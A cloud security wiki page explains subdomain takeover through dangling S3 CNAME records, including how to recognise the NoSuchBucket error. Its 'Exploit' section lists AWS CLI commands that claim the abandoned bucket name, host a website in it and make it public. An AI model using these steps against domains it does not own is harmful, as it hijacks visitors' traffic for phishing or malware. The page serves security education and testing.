> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/subdomain-takeovers.md).

# Subdomain Takeovers

## What is a Subdomain Takeover?

* Subdomains e.g., `projects.mywebsite.com` have DNS records that can point to resources like servers or AWS S3 buckets
* When the resource is deleted but the DNS record remains, an attacker can create a new resource with the same name, redirecting traffic to the attacker's

***

## S3 Bucket 

* S3 buckets can host static websites and leverage a domain name by having an associated CNAME record configured. This allows you to go to `mywebsite.com` instead of `https://mywebsite.s3.amazonaws.com`. However, if the bucket is deleted but the CNAME still exists, an attacker can create a new bucket and website, effectively routing any traffic to the attacker's website. 
* This vulnerability can be discovered while navigating to a domain and receiving a 404 error along with the code `NoSuchBucket`. The examples below show a bucket without a CNAME record but the same error messages would show regardless. 

<figure><img src="/files/7F4p3qgWq2mfdBAn1d1L" alt=""><figcaption><p>Error message shown in web browser of an S3 static website where the bucket has been deleted</p></figcaption></figure>

<figure><img src="/files/hyNj8Ci7QC1KWIztyGTD" alt=""><figcaption><p>Error message shown in a terminal of an S3 static website where the bucket has been deleted</p></figcaption></figure>

### Exploit

{% code overflow="wrap" %}

```bash
# create an s3 bucket
aws s3api create-bucket --bucket <bucketName> --region <region>

# configures the bucket to host a website
aws s3 website s3://<bucketName> --index-document index.html --error-document error.html

# copy website files to s3
aws s3 cp index.html error.html s3://<bucketName> 

# set the bucket to public
aws s3api put-public-access-block --bucket <bucketName> --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

# add a bucket policy enabling anyone to view the website
aws s3api put-bucket-policy --bucket <bucketName> --policy "{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::<bucketName>/"}]}"
```

{% endcode %}

***